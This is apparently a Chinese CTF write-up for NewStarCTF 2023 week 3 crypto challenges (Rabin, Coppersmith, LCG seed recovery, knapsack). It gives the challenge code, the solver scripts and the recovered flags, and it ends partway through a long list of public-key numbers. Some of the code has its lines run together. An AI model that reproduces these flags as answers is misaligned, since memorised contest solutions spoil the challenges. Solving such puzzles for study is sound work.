[BUUCTF NewStarCTF 2023 公开赛道] week3 crypto/pwn

居然把第3周忘了写笔记了. 后边难度上来了,还是很有意思的

Crypto

Rabin's RSA

rsa一般要求e与phi互质,但rabin一般用2,都是板子题也没什么好解释的

from Crypto.Util.number import *
from secret import flag
p = getPrime(64)
q = getPrime(64)
assert p % 4 == 3
assert q % 4 == 3n = p * qe = 2
m = bytes_to_long(flag)c = pow(m,e,n)print('n =', n)
print('c =', c)#--------------------------------------------
n = 201354090531918389422241515534761536573
c = 20442989381348880630046435751193745753
p,q = 13934102561950901579, 14450452739004884887import gmpy2
from Crypto.Util.number import long_to_bytesmp = pow(c,(p+1)//4,p)
mq = pow(c,(q+1)//4,q)
#   sp+tq=1  
s = gmpy2.invert(p,q)   # (p^-1) mod q 
t = gmpy2.invert(q,p)   # (q^-1) mod p
x = (t*q*mp+s*p*mq)%n
y = (t*q*mp-s*p*mq)%nprint([long_to_bytes(v%n) for v in [x,-x,y,-y]])
#flag{r4b1n#4c58}

小明的密码

已知部分明文,e=5很小,用coppersmith求剩余8字节

from secret import *
flag_part = flag_content + '#' + secret_token
p = getPrime(512)
q = getPrime(512)m = bytes_to_long(flag_part.encode())e = 5
n = p*qc = pow(m,e,n)print('n =', n)
print('c =', c)
print('flag_part =', flag_part)
print()
print('--- hint begin ---')
print('flag = "flag{" + flag_part + "}"')
print('type of secret_token is', type(secret_token))
print('length of secret_token is', len(secret_token))n = 131889193322687215946601811511407251196213571687093913054335139712633125177496800529685285401802802683116451016274353008428347997732857844896393358010946452397522017632024075459908859131965234835870443110233375074265933004741459359128684375786221535003839961829770182916778717973782408036072622166388614214899
c = 11188201757361363141578235564807411583085091933389381887827791551369738717117549969067660372214366275040055647621817803877495473068767571465521881010707873686036336475554105314475193676388608812872218943728455841652208711802376453034141883236142677345880594246879967378770573385522326039206400578260353074379
# flag_part = sm4ll_r00ts_is_brilliant#cc0dac72
# 
# --- hint begin ---
# flag = "flag{" + flag_part + "}"
# type of secret_token is <class 'str'>
# length of secret_token is 8

m =bytes_to_long(b'sm4ll_r00ts_is_brilliant#'+b'\x00'*8)
from Crypto.Util.number import *
P.<x>=PolynomialRing(Zmod(n))f=(x+m)^e-c
f=f.monic()
f.small_roots(X=2^64,beta=0.4,epsilon=0.01)m0=f(x0)
long_to_bytes(int(m0))
#sm4ll_r00ts_is_brilliant#cc0dac72[7161621040137975602]
sage: f(7161621040137975602)
0
sage: long_to_bytes(7161621040137975602)
b'cc0dac72'

babyrandom

LCG求初始值

#!/usr/bin/python3
from secret import flag
from Crypto.Util.number import *
from random import randrangep = 64999433139797068147576269731948390094958654326970231465808792590598519729077a = randrange(2, p)
b = randrange(2, p)
x = bytes_to_long(flag)
menu = '''Random as a Service with LCG backendEnter your option
1. Reset
2. Get
3. Exit
'''def GetRandom():global xnx = (a*x + b) % pprint(nx)x = nxwhile True:print(menu)opt = input('> ')try:opt = int(opt)if opt == 1:x = bytes_to_long(flag)elif opt == 2:GetRandom()elif opt == 3:breakelse:print('invalid option')except Exception as e:print('oh no, something wrong!')print(e)

cs = [47660416401195170608871118792396623093161528611727206136841156030030359413982,32392831660193959992975677366322783265467174831695353908040771996150358075930,15573006856351674189016059665785753849031954693098329448044698324289995476751,20920108788798692048454317981978232245490739642380619995312735372117676699981,46258433602049804113879224339884036859584170316547504928581254901892423617724,12701980567657861127846388442191637504133250105779234765186972524450220317087,22277554223669503910403739294143937590434240297352392498843006964982748884297,27567716515293390865459531498470478688998728544197277697915331939879076876133,20671031933904675418102795453098499367787076562349808348746314391874481282174,52765306897326714084931688933811777572459842848890400855039006700953424782450,2403768803424942863732438397704384148095659095695186961315865318183388686138]p = 64999433139797068147576269731948390094958654326970231465808792590598519729077P.<a,b>=PolynomialRing(Zmod(p))
F = [a*cs[i-1]+b - cs[i] for i in range(1, len(cs))]
ideal = Ideal(F)
I = ideal.groebner_basis()
print(I)
# 求解参数a b n
res=[x.constant_coefficient() for x in I]
a = -res[0]%p
b = -res[1]%pa,b = 36333752609364840632469053370469595855222222243673019233208214240820372632506,17652002181556004730268293373137990779378810064407157775029453455976930340279x = (cs[0]-b)*inverse_mod(a,p)%p long_to_bytes(x)
b'flag{lcg_1s_n0t_s3cur3#fb528ba5}'

knapsack

标准的背包问题

import random
import gmpy2
from Crypto.Util.number import *
from secret import flag
import codecsm = [int(i) for i in bin(int(codecs.encode(flag,  'hex'), 16))[2:]]# from ASIS Cyber Security Contest Quals 2014
def makeKey(n):privKey = [random.randint(1, 4**n)]s = privKey[0]for i in range(1, n):privKey.append(random.randint(s + 1, 4**(n + i)))s += privKey[i]q = random.randint(privKey[n-1] + 1, 2*privKey[n-1])r = random.randint(1, q)while gmpy2.gcd(r, q) != 1:r = random.randint(1, q)pubKey = [ r*w % q for w in privKey ]return privKey, q, r, pubKeypriv, q, r, pub = makeKey(len(m))ciphertext = sum([i*j for i, j in zip(pub, m)])print(ciphertext)
print(pub)ciphertext = 292032237605703789031443546112168465662583427817451138186159085483944596334899153983563673441672190426682450375063969461376062147027084612402086056661404230388212669024682288498017434447903079894895044646783044615700960214968206461515747700863707804674135323403322674848342947433907419384351538542352190054502
pub = [1608065985136589955518636876548002749173398195805908561413594566081660968014667899832608099402330306643714300075111493399031018875367895290978800182262583676853981874524478795562164083876724225562910617434721559348811325228478100840349704502825475625301310959989478861007648220652524232130866274135218984561, 2426667349302925052753129094681603564581547445694425972149058783410976244113409382609652684285673268926585915465121568674105405583249932303853277106022465162299776054880646164667515914638855621656976695492670793997554806230559887797430130967584045823908435269522635470810929590225201734899469120862897857906, 3429483048920859588228800664056147835206575859139809437729513989612905506968030247732277405170588036945046103148181571731475515968018728356999146064018705816079990332391171720831697179560208441190869409352610039321524663718448744716582427839773919710116270407307201813934309914325458374662174960190245957222, 56425010956371256448246243268037781632639922767089972857768932087073862372804260941055847027639568892620749001152456412613776226413648996114511873854390857464940061288049524118854209263921746793476386468543364294684706273576618917594983701530906450790737740373654984594497994398342234224269852299909786917, 2490148405966221496416605271766917944760574681421947779308643176791508974209226864249738961804267751531920519607253031119552656778832611158482425651360225112014889722067929942129410647789542841451918095993121030645140097940914026737410542029696262008354153670514285804682813068751684055223569331294281905118, 744335516743470311433495353720410462797590932472861071020740460215850064443048990503206674029768738281613724459334902647142111609386032626419807763430772690331198728393460206599560093644541916308699753208688342851978033928606776623217187488326243128140520766001009008201386016425560302128789112878698236289, 3811275049854002124670197266442901370413146380714854518041025464151849775536270057261222936366704504717168540821482432524581823593068766111036867810233424188570517910875954137654522213277153239298775268202412265276391969412101608136450034362297594484127681402703758637422994850056368647615489523794861880847, 4736836665940826041171694132923988931845101417647374332819683867658151216907483131765392822718944507370242286701332413933742097451162974561725364631534151059773942438038783618842467372195820647253852754681662349983386761479952007635484482382467925975261261100119940525951529612029111682683502811860704744107, 2184288239784892480695351146181522343103055473472054415892055011557076197493348610705780911639069852142681212813978124320590741444078993617676557686712572852495709125855358826418698444456009029932606748574019720427857423438968969137406147167435728319431977018686862316554361964818593535134605527966283094812, 588194102339696583350135841824327790124834713596509154434237624805397239340526856351652054792548887203985807293311816082012326594259020613540184041154797618078327175677613074289570022322357182995479906623119955070230707330622384565298411040387807899564480684801466385397273974163223208276864942123556821984, 2077906466303331037266972319970279217258043930377897803588850251077437486936839431262259636827780499338786000900607732211607800334437439411320588909761412208903115247316321339144063222215148211341360284840791579449274150984227297525853407129758195258114613336922940637602426813584054603519438429403287901807, 4060696287458178132166969775611183857321717695909596307983521934391374906105468401724669893440236137597759531026401897954262009158003862889711338109339144634743467096248961069665302863564279743914614929002755913987145938151818768559151108680179120567043334062947260416139148527070005414031278334913676278825, 4648055212181913199241601922647752559148310859063413915617491531022227482221369706329584019871516807125335049899238193299170178941865351952526303264382540623662751970694196678643148804700140310686029928338258113239246369236839815299421412433228129370572769064025027782499557120467483913439554278498904974692, 597176878045185163079857438985773795710566287596407799734356772474742131529190202967137742454916982072691342662052310864747435205021028361215252674178315997198269741467302622198726752215953160339956800052041597499968585794961367600105538786381642026152409490766928746822529886810175008512823872740471937665, 2910054858527388830403932368779621604363339825851733588186642536470920279459927147643083958572082724465912571199462751727511781206448016590724896631420215562383093134176059068836185007547883467363788641586218097259132532988047680444596481336102344068849705827845373152194082875334989539786061281633088702207, 3696225688659541674514429144747887228548438553421347322179321479441707736085490479925695068682857925820906600716811206668674362670255748441491863826159297563586283856711895274967453111525058741957741388117733577248416227857299641721376648385102843604523548256761323973316013492759706736947255531758861421477, 1264925539817716129014576497035166821399904498843295574478016769881855695449072100438634702685104077900942950531746967236836367541973173252729535587899140145556274961468172106138699157373099481772657234211840356840928934367479697752383329641624088906300664151102190244861916711255701268993286008770967460566, 4571007407218171376424110614619883673340506723497157430034356354946308188791286500930618019768782785808738651009380531664322930286075573732857533002268527483303325125815338437710383276782094697464296556561635650192997376958252519129067160493545151596993469863677168612507678829366504521208469249583156145062, 1607275751862389848931579421908559342709368592462574876274965760526121100510794144786052958249913960025018042087109590745931445493710553976077015732888075612716822213569024944317709696157222658354305384754436338586170866943232611395186803895850706105104633938739700570617756272254018986963765629888951737092, 3231482882821525799296232079268975132628226834188813042834644439762217765053533385326968261700098026212043361747011112721207439471171509517132716408625574448212648885013610454405496823675923432663129324575017177361298412424859120473653168845998318565505904460291219279379949917240714510026168261144328754054, 3520756943869114055247771507983524428603360509892140185215072107632169908164209572971189033766284497193142577714214719937690632620807383452941370389221221578877005020761180420690667701357084962898452818923425965250194938713381636834757219964144287681756320982371633697825501678773072609037834441639946225339, 564403960688872564494042565904665280137135985980812477996104058233360726954980651556261866550808047905203807135975257955628888925792823632901368848326812395864809366082008793001123947120817643292945421197846185465088798386204955957297160837369871862119608719565286233632933483485107886825587988325566420769, 315959983412675584879150300480980412474498336983333058244546717323455930859057635392845900347749179949704745226560004600224895066675818550275520877089383803806869595787780164683206194624514937603600847800253240223046758244243173853100476864620378942952204542538466227047478926569550153847751719869006440425, 1359018660778713519182671363124066408395251129592238792702570061458306199066654656327632765206370559628006041477544326679409292399624549148446056002421371779947111512017053024997311782053295887885499499900871425171459104733621657232622887633643535171009046754834506810886208598640313323992402587826510775114, 3143179053950367778166107548875625357080442600180871628766656421101359811522386849734312179769425670257807747763366111882218302544429356682960973863412113938212617992279105368728046281321277793429612514556884875498321471342186005935474830535432685394050401665427753950451870384061138957671000505331584279579, 3424041059481832864742209846632834428678464465053787826056153859972012437109619845448193496222177675021019548028304262054465072804764440535807084060970023895403210534439206560638265706687193261054302798091234069541337163405569239043076218876024343962544888119971652503894076571165979094263390475575893193397, 3394972557115014896582730524811582775165719006608331601536895581299976733846094213905437335060330704042911954267160117024403703576967676979692402911756772597787115284555393956162858666992823855559436532779737873277280234871340407793612861369949533029425471378372119261785736583555982259686027963800114519102, 767982683763338160290017550677214093769106704491468427905876141797664016593400484148498742145536603311483520370631640194250658359513883372410529317557191238184311706705838095244878422832069949895389250127322194863186729472408042980350123307774174867627999479980065280115383136125967992634632411086694698642, 3422540924960544612834585123729733616645553900174459638595137499785110833438504509800635685035170980711379111110998342973555998772845994627938368908066944974448421606476842842744708489409568114738191780149071182251924924154408311173667690121855018031507506246608870132949759899179937794826047342152620292095, 2076628142562411431193260425909220171296705633984743027123722251828899204850932905454098139619184381148082735631705741868953008514407774642601331034180338211496774774791222051968398724513483230081252598969671908696508915091480770301702104673383638671583594522919770174845091152921903576965119090911034877494, 3189000454894790851508643883003404757686995689728100342704292699051819454370619492435584632046952795828014792724252564437409669861386664128425419749205118639851420416805611265987240650591570288819441331386388096898355300213251314193247203474170004062127830101296310662295136957482763725859911828673870073010, 2907150768758367886586716856492146141149987720809000627386111421643110094118983371407767929904033371916068536282044312598041047375502394605750826924668621476494681229069074757407895343467711270265146813743924924350467166961246868819544022337777611791807371441063474009314515450764620220073636926521653862968, 2514385072822938980004922507739039623213197750007579507863286260748435647726447515478421742855973407150598083238408348940948659789166184923325380104358023583968000101986752922281017736336438115334745325808437403756600270989274248698777794299729025975621235093801536125828223010916623183270792167823391314339, 4129101408426925717270552379939869969462339505083750544797736541259757510320156554069476949366400728041791814246488971033168156032323532108146683445223635246667528163299430626189843150118857560146372215307245784118949072729530757857062091860914386530146966295084237748993297755170788155139701609454887642189, 592435070792854036461902755632415150930646219825275494995704405210968841040629694144327928092929922909898934019797113069018676965659448941534627918560192454634915263194744672162906748245323359801539030421486363693479747492739167860076793115084698431784280178395907832496292090848269244845568496776121048420, 2865081789369306893154991033764735467685871707277377218183223375617779981799973856854786718581900741247430593563538242294481420170548368619693814116986102431074746102530574129385108670674829793885445823488366746211939790255318819470661864602435004540416394683778155091007365314457687943582106086383434350861, 251391258714263204956657192185231188943160321652135329260264002476438499179758785954858306203909644226662633694242501403168759406433259397406932989254919691213227015152420952191840925766708845560415152018030431214027920499204307959550731819022116632063749364551316540057073676174948417613616029204682207498, 659384723012287778982874469102674194729642950765762947339029438294465624178903943230781035007197453043407917087130440696900821572650425685604124960327195084069431360651239951933498311555358398796549450526062345075410197217697206633409546614255593820522021931451531912704546349794754510069083609031409248937, 2426015109860963685265746512687937789091377922049478006530805180879855604062651538855351907709057208551010681642061459995570015242556185123653554175228858635684219019015285945979801660351775121696847472734754301551492595986833606031144106471739246647563319118176667308020497901939839988917087746181229065667, 2525877031078673287368055372541347308620587609819404238360987948937210254003467390351489023775890685319458157199265530962051187524661634143415580445422222118839133913670988791987913550492250501569446783701526486015110050320714740192346307908359345974170083063227017143380075781142797561742757168591170431005, 732768928580119156094714905470431755951220001695692967254356266424803019171824186106635920047016493731598322961621456136045426053182174281299298171457892943035628932693593002972569811423472930877675923483250320285199134097063623242942245320335617570876006316142286141477732903642514475998396604403875538126, 1713075318163482543035607888694028734282694723540866771257489312949731729867451895002415031438072105821281931406090644355722934364012514171694359201723633543790142137093107490826535303014605095659846137106308559615589840335232832636723868215269579648052117257204264424008595205714896388849335458748497822543, 3206030671128984113530830309177856630061151077272710507654391758860197005426017882446786133353799298831133785598099494440400390320422585018218554331274457777959194601952893538104960286760312454840928281693976980369524299791880038234512870260756182855709317464342473113313260630724970948400639684898437174131, 445877602282692935696209712317954470877142704864856891828249426135605594268024261646147797545280327679388745908767233133100343152307397565685762453671712145805994933944113578059370014148275504577151287440989172031015611066447856005365332241783974336289375636169009439591968164684890905627670506826067644748, 4295806455136688460282792834328399604062338768814921438926176686908423403962628547564739585989088193984331621676431469210575448270423176766350053455370528181528187650287128113842092773306387117707015664608767974649475285232110757540420290085285387277052398369374412839149430241121901070182878177779766827985, 2315183230747468539901572410823712634195405604813627486581938983970506769088605108642213603692757389396301765946984918156979117789903373888118705804351795764852912596312935816764673348499015426746456365834049611680560504798561899893873110027359835176922898163290326344366278162799640783569200922149384205009, 2709883740389810279365385940437096656562788270606810498693427349076113450585710362125999434154172083927380062042591579804065240386305725680903876683008041411459059118387545472319436308853696256813357089080031992773999500370274225231471068370333280353187355400873961632126707988907859983099391762494801772868, 1905877803809277746039923408128559460261246253332991558138482099322411922204404256653319787704004392297096385734814888648979557467359768233865757035895316271195939258102324258669679336576679363692755368433284226911087680896182728662504500499583917681898428546988994402228245893257641269710985866908742058351, 2777093303340675091580625532323382682129691864696281736202581450688282358145827305972597165522439567019169702252499397105808228982816274171858619196572325252090716164754428653471484126322475352179404916448695972332203909050954267925410042960886379996367981748227262826353064727267433899571018034865132704531, 400099068637092273133972962113072182359643459523164348592014836450122186206026122394030834593959378383718768018630906909662176542621471783076517321930844229460041330895088676945511227366577477141927693769853360094080373738130986776817183221244382063909546208545753556333958009848802143241794378778683932535, 95480232861080887148358949937991373063092649181462448751020036819626579067760501815779519646268230398603103950707525204526097843797674809978090578295201129966765712862260632096215874817242317309284158864004538124514667981606709682660369553173628534354955141758175565938353910452585266775291486924040287287, 4206564390274181347080014243912076202774818568255193589212468833402308873515005261904107407350761468151180411785518045896793882555293831354808573632047790471914302406927630174703561525556261153135936355723670843217968200793417249577620759095486376226873702806966391622687408670670332024471946214244360570527, 769581546817283749107779159740174748523198927410082512915961922766733767813883465793200394139576122978258778956759789880193669138236212424204795874435723563406044571312451089777122691186730272985486340798548572537410198342282788909076007414314743130146594427350337285968643087714868961225425427051443428871, 4205588760010753570183010447576871563608252114372802716375294049628998583455681856572076435197770950017315712210184921961064340013413638913213275784072055670800617280198498410976367292113059360904240872793292322639230272883074388688191241489247501227134113953797523584042177459022347457719985960527177846367, 1673981580767141935253840404067283389285984798963604802473535562441841136663982533621295752542370430497885253698235901516381162311845117952142117326856590929543090980773849180567395429627682737967221875012257442922170543337921831960914249282293152499404813222987199710342332861917285438024389290006917774294, 3839091611022961244047084056865475442636219805237296670005081129521094689404090527874429122484021669796230275449655356421559023294473222085100916762186074843297468793318851172467512250235616943665351451217851892892301363893666565008610824180691077225750190142248598518041362314450625095641688369586817758181, 3887416604133429389606449254495559458167225845439320898274897424317852791696295373313509870873845629557868181477072374026232142315609706739829084179756122068214642915022078095234288540810633350139229158796821451877239399418934904305674776517367438666855891631003570448701637640176452185800424196171496804818, 358492333565676008138804820465560251866006888339882470758115920308108101540837655175739996382881415152755446178429914320270937738321390695745154623432872863053912132168831555266403803315291750052720867125153396272471453072535893765701565177051817002933323643618478950737883667136067774178095466493459619255, 655812335243508201841489724919037171123201658969633886949880732517267083890765645593593434761785507515535515565657116283187784736178668333545133076273636138135833987984809848133611532643367284325904339405911972668756220407073182564506316209055015014469467889679610596073319819057883016116200501750860612158, 3113775244641122181986381191288292039997042853349966089486819525049061751051054873716149031919321626703544417783539774253194197296560794790000355981335530357571600127442879571785843011743587545022436919426522578142377799506957957999574030096426711613548818233897612949883540018947887118158145895368659001913, 3346536951357092794922857686071205592427326377071985417031573600335117248052742314887234312517253459355498430124358526765831884843781046449528488703718774190764032463366296311530766780372073925895846392088965958209670093159081446466328923256632162349085747377661326885434440442540542634700414979519156846378, 2271935487447997615072827715629425090467014316320748569661772071398835781211814130487355070035384524783329644561795490975450269915996630916738702592546834206510451616435749464537109864004197818387853698579320129733065396669474592526208512959974455298956514608692308826341738026708214485942082640212151722824, 776466492143310072596268802159330789564963600828637627540853399297900489203518721000908793370986461631222499074382757467232864517137871669997931139488027084842942095437762256079350478191749823969820341524844810742948700598495048559883397493931440849395912715652538689399792836947662852820103532717567990825, 2414274645882519519084023913396357272407167832626523088150811990492559442026397060738140352663005223129337187125965764012914780402110158227540931469017964124622910527406899007518667711067230671586565911241474521955001186241607041127655651458938731994650169928913125748912643646524991538893335177389904412170, 1587401214609797602331682440041479743512176522669626586231108195155202838917998415252279686533695314095297559308594308729030682798135639449094642378150127492601244357366175151522933633345524386369722790804782728844770761877138025423706525297203340243728319358418982837426599728607392540185563391682179754091, 1276538048517017724799741818279571647670714435038811528782147972756642391251134331211078877513430205745909112356875543624846934625909319249857420925371596921159773634075408031817229527925246856861069484405721039888258313585591750990749824522485321295837665778185313292953880124411255737622409525193124459735, 1538485199904895231757088486985252668728362373981931817960801712480113335144533151864247552181700949983397258308916404658891775035166276951736469913599712794627172532234260428887502063542242388200715134922033848610833955337511115662975240925681126009991412680235365215325155354418216805045691690371175736694, 3206304631930048482883026701884292735383942399324272782150656595986130488178312338403753056282079561305071127800552734066603684476317468336439123025478022512848222910190232348231941471763205513385207943068182799579334996844368914081954765697685511608500913811387200371518850567627179307512637861874238561003, 4060974136109469828397749836390448767241682974331277126152803469744907898850600258735274223294110211845166146970522493710400206529822968619805354770338935377761626067850932707127865463424756008394428715555169827742966901642024793693796316287646900078900367177173010131730253761853898589232594239369879107744, 3186685901580513856509872460979635165561061950606904814133798621836392578498358298660957761557506177619855027178183087244891177317508831823775875116819379713319584842647833087351777216785095435169291029372340194446221915994696340583825222189631540468961340287055426423943291779572102944050203195317543086354, 3136611334284792133367261650890227232936288665608393703140476960273947363995950090616216841862364676224975998313927496717442151280046513059844234925813488608538868806165304615153462666921851828369973348820514900945220768530718340515375059152719890262379622822092495480472265940696852626966083066449081013515, 1331269884708136405117905393673690029448536867574991764756810112456133796939866167105752401710654064799841814208579960739840945274552356162539929238201263094768628435429424780269405617728361664291326922086470728054557840896594861984932337019178564604767425068305896370361563415307622875854960715955519891364, 2629686842528554368371212649266207118104297767714724637715724853710062224883360018658184081051834552922938103680625457768521020704489138289673236192361797218197291790011899341547550168847195307194675782016724355461838129391692029228873360080499876909101598246901009730064927090298523336479377558017493242738, 1426300450885754401333308553071633549193728206537905148455464373889158946625349170708739895297669403110835467058502210376906639329985356457538282521567307751689596391816389876022943463820616797499242065593983413552042271136651578216676477358517644481445202546424950276409332053665700078110891422676737000266, 1115143586269457046388508860118731296403702746525652794518901402580953108524846557836251872330464547316185544242979242626492070655689348375188220456348990656723775351040670864330649927682112162394335389121196801586057211045506076134902459021977861676061786586552967325367078555699852757953879038529960478826, 2367010329759044141740459116302334258738079352309025401865180633681967129718049381760374265533928185763470126970233153393433362149316762427869338542193490619295261584721180390642443116162125260063543158277093503519396667868754170989734908563649702639506310182324432964149001826312565165291959861876316107174, 2369956571182687113385124970548942876722086028916003668607492554799566426508715514710684580412196675124348306094302517736377191146560033416998222407410700276968032415018624603140969715321560855087801587002876000914374065245540460164369067028055684387229685317408498952218117392120145026141932065722734086573, 3854841350561727593245891090625338537089363579767822034014398089229606355892699347245263968564846767146741783584492207093850447805904831377806981335000796755720650243118052758205725952167889135780685666302792946816677759787075975030143263198454358444000314894537861184800223256200612550729345434612069392730, 3401586406886873485507776328101144878822167922493875544544481751600285305001073837485176747426438942163061719012159262979825380870846722864659278767623249012563130053380471007633703779101021876571208363913916417267510669400579106416154511984480469979274724842386104366805464432583011344082510544510387434007, 1780411204742756113339719485654719323514049671655752818458571719669782429217232128095729463729175101515417880396147215050401574197952485666683528215878232167927536265615448461472688261492869669745117088492146391814903227508319392827577962305176903913127589561464776045840282375141308226722660431066262879083, 623158759606146964243321604792792604328830973124825909315869354153270589280565795450154648529086968171949619658615994842143616224671760829560230125417151577087316903718191831791549792534697044357146454674539729006792403062341153282797354669567567369833711554020746696510756773687293614969485135144052897743, 2874962898871141994988116678255360066513926880267417781711095682301520155111915909397882230832415313912219033418575053452819516802259871606128751332802897619812935849791153289338565346476601944570277879083700171017502164694769285858947683642556357324745291066960174235314446585743355585531499937629504399370, 1615873108388769020548178055085255301216704367824197683726890282097172769463327555760194291309353870050824187347172037611766085820383097535855545837318116353353694343187424225078883645748612609371762170267307170926217729936859847075738023340269879295777597249718746227403886887371940212669289587365700336993, 525108755827176036474671732056255094683730135486249812303654723006821993795522820737030334467297449372017838930343899416337585019857607592395449704179963379244795114955118499384308808794611614840974952064962588444759072806096028616305005381563004924825123136405284139928572887251958119886649167419066264050, 918332960100982527049395507203189384302050684796505973689025480448942770394500284124542244610198643370972431577880649249814517167066562245328653608755518782076648032146285166516777171524626837608390406381647370835132346441302989043383145289041797236626680748996797113478650559151911278724265910924039127968, 2964248574506349048215911748681858030717673430993075417633208945744206516083608296085695157611633489758222354627610441817099800915383283328596970528768280941269749565358018402239014420312405894337849134824919249556370981771263030467535268546970389952421040003308715935633420033941510804561875679537460227629, 85665955692217427570037812355751530568998228500013644584147356950933469172554530676771019364954385121428244865258438404239942485976299803575517277958126024127109238972482638034393248928113920562771287085970582579067523599702816353552740408438787627223203755224709683116502844765225875073921733510288291776, 1763943494604692994558621872982798463235816310714375692064549191919341993947134592162469858312972660109598183951207784160628019002660431100827236494238014623524191469215095833508165235070336349362263939038790048096529333609574428275793764139665746636535050632183112287601139230756105345025559451706550914156, 606923858621794264570541021686438631502912948498818123657023638062879145309126363826563257365286610999645566318746804446154433882790270545340014348128615509076244518224956290640409140029831062729616894547537789174303510214823420319429785589004033636113697272393662370565741003642256902820956620210189652708, 403098072653989094288183714582206220679599474113764825413024853328499559984473416836791800390277515326453391336697640253896042054890073838214864225766313505639185540053181444764406079725494187339818775333110670514208939501092499957460680746983186081866869392651531198208689960582635061807336911790444819536, 3802750095869086884040470353333745942674745252476472395477516890727826505810732519134379078582926912343947483192619655854190402887148649122253530782460469537500676742735816957518111627010399987332853388510599355755679930555099025923487892955814165819472594095267490155035826057130152101370263098336224813297, 3730995823536548661822175563738808106838845593353121076324363704001396825430386886226305213325666763721771062632861969964485873283371305730083997043731596669400946182482905592266843231617530408261826466824511825625749929784524687610639106156253118700858803226533934803947417145298167870161663704139905709112, 1322348269608151019333143719776720471733568839890860001177453681800974359597399636795353808813345128767726464312262341033086818749743612281546537757746082097728626164835544030598819372259985282440131245734895720543226525305675327557703491101436954799540257857447106695510744876477791246952604642548517777265, 2187532324369772192109362383502910358761719357135620664432465981190564255296919325332664558395084272746148875600367407596156773944652502069567589465399990659319650324487309687435041776167672602397747095515206568505442133975028199907118404997766553265198639882815810048243944900122296711574694315905052626459, 4017318794677558977013867043418972207840927372711541735421439431793406473778005706501864098726963405402687542037494320743121870411881925166843498995992354589312656358132814140300143529978477877521303799644505937601507857064299255781111613624420300440014838932548127523361057829697679267122861876479242380658, 2430128705462412652287477575261763576389056144597967838297896494113449406808399180672912340226138107956277495521817514119747679006625357339522921454575143364790049283095580648136916188131886208122247518581854639215143132230922955309400152105405850523032095667844018220940995274709416075786937888230550554710, 2652178802367465301406078340344602434725664836936174263224692924089987014406117774192440832617793531885890879545857699188157282649238939181865540310623696509724094407251187369931292399971021045192711056663182477847276142244104062004711027451084851512861342190509264930849032253443927881931106222150870815318, 191925220844051097207085741701656474647893788676277143872559442517991620533946304823009009074609877798821254395075654432416969716696154768935019588011733952421539534175799025579751712037142898188099888985332837211217458038899251885313818933193487793652899839688259286987811000672146528059867561745704800847, 4700001329203449823897046799249167755174157347040031978333005686349825562441779588981273351676338746828590309810730628204733786749329987303111464709565849133771004461803047323376954180874217545750726829402062954020755724772580157067490262389871930395114135174882440632548764502387107809999275589586435224524, 1514370797819179265005780651653679547428798258041680777707853169550804001818520229600038896034023366928886117739651071439593049696424604728456426054701066746773009773020744346859033796471232997192661023811138687995001482950781435910288071116324527254442299499376654176321402010813133977758030772107419464223, 1223282901084393480335762970441610624127006282032598303750626701000787826287553539363357360868926332771759077486653690855316027038047507680202080357428806606898020295347207373530039181015841302550298578886695052220141170718046335002983057099421811442090271306258364247932396170245817091736920511373912120957, 3598088763942891828392562456578483871043279295647123031360776381165310858866873804302088665850113458196635966897363391158279076057731054844604707750315009543218436617611214266563202644673177780662983035577744533281397856370424789603151275907834278405654506452612481274254757768234062937542998402369338197335, 4336642681117530496861535770064756564581602986614786425545428712826590012634324094621781255375448223880300018520354367759126953341623940175920437481170734538872963319241140550304320190005421049902604135647415447153863597582003367350769636781552913786447153155649325496015064730328212167564980468880253316939, 1249920288419842447374096803571221709751285198488852977619089410853584632170019036736305608423292854270957648603344259152861629700801754233674810148713291499418363665368223289432719814444392217119805282516738529313844955972988370224093861533863167801518348176341799761872160174837610764883485736043711632724, 2502810212668452993450975229587908292485784490924603412493808287300154080477642206630756374043599987904773705177024140295655079810785523070577684438977036239625979854070165009280513236215589932639715986087758288858982428149909016295769361023876651161229613303515431680620182699876902436355960388343049971246, 50932736588134120255433446056436386262390561414568792335984352130496719447833939884173667687970891513285867898930301055544002030525398401674671848649141114633856469870953515878890878374674190392734778654841953420820270048777151167931205775683906960312458556762340711915204052805007089359165376772710813471, 1494051188892777476195635416272222066980239156573602031084117858128671443353852854757378364886294041683332121516618537137970571537120001425883930903618215733791084533140074347151693612285584812919187919565663696266562728072368178143771027013579852520759811905939834300772299093139104325811199173673334723922, 2083412552002380743897465680515484162033582716676604073124995757861032023309444631716249909369362949690910191965131468761290144386687967971776392527671636198157843668846059944713312720342203581751583494954672207922741958550492124890174274428017030959274145755568959645798804350350413982477411362789270479110, 4695911019493998325985001720414986930035224720342186415931066615334019867978396900895979226796418459696139964388784526400539151665999552393267632919192241551638418757909274017848823899339058561363927694022926777518716946084007133911023753510399584729574401871468518226862575569158077377466396134754781425894, 4309386081780671213647994846433544887361424311229832164645898260037278487296145430712070488956322358088712156367186459610930188043424694542983975232368324115831059074052265619623343760551759154091215001326082252762589148972286402141953010845794108917743026160750593595096602422465714014934340877608151465498, 622333535580757327995328130451511986553212769924986569124777563922727273563047396226264495279644966468533551847730691318170864357102249741011681107106622874071998403497864718544452091381960015467549938736184401078977679009761141781138417167068761688470494704816426901854997897911219839808081418187042945784, 4148152136942359203559350930885683970014622697145785184772999585525643429356051857345217971561869587851810841935484683746801701989874145656141937624360968651774466733779612451649492510828598916958933132460390663390224979729286139386745044763569354851323490375944716778645246456712151651885391201528629661925, 2046340730183149626477284829941111118827437898223627893560836091967766528103042595933323988780554514436906885983591183966501768654678422728371201275208923380591512438200694222843043260040091672419539937430775846558658556748118379537002341781377710806327318637998638137439217447688506125628564444459760516588, 3061066754645159060228916902525606581523739313279460251443888082205067977578755920108258496925710321254028615220121232652331352860301770177699598157550586023078990045348252353720536451083259826593020195353060366456284274491017689424146989470511798167279969181165497479567323359228931388796424593978506358890, 4813934973568299298803672035217304109071304281994399585865681083788008764571077966748038943656803853120074441930979072825877891175473418920683794455210925847613147145276344831257202059450779897385558051888853741642018911944323957973759951070589325678261058798345882293394582299940564992250093324565082178110, 2675751273784035245371205468006287675968457855092869961530330122821745306938958868211595425627849948677856878631444019243704007151628057869647832965158023589932499969221168758236276071194669034099848746341226327960210330457418017245646618823589227965212233504593835044265577221453752527477898371799214591498, 632595019623444639690000731400841987902404297394530890990726589457294574937907054415340270450185702986756005312136060634816850565126220068753380696137523157664052369738021546881425256944407902802870681536449642192691547131039750693842203019568519315993943594044127457974617881506283569851054248931967092465, 824344425852345481894909711606131824317929229981798858004565905149329321241845651015016699644572952104864936622646018422602583300855626733758885977761879722356620164110957452521577348649581998980922342225154588429250742824835012521982480452482758905763388357534394852922915861392586726038139245583954747547, 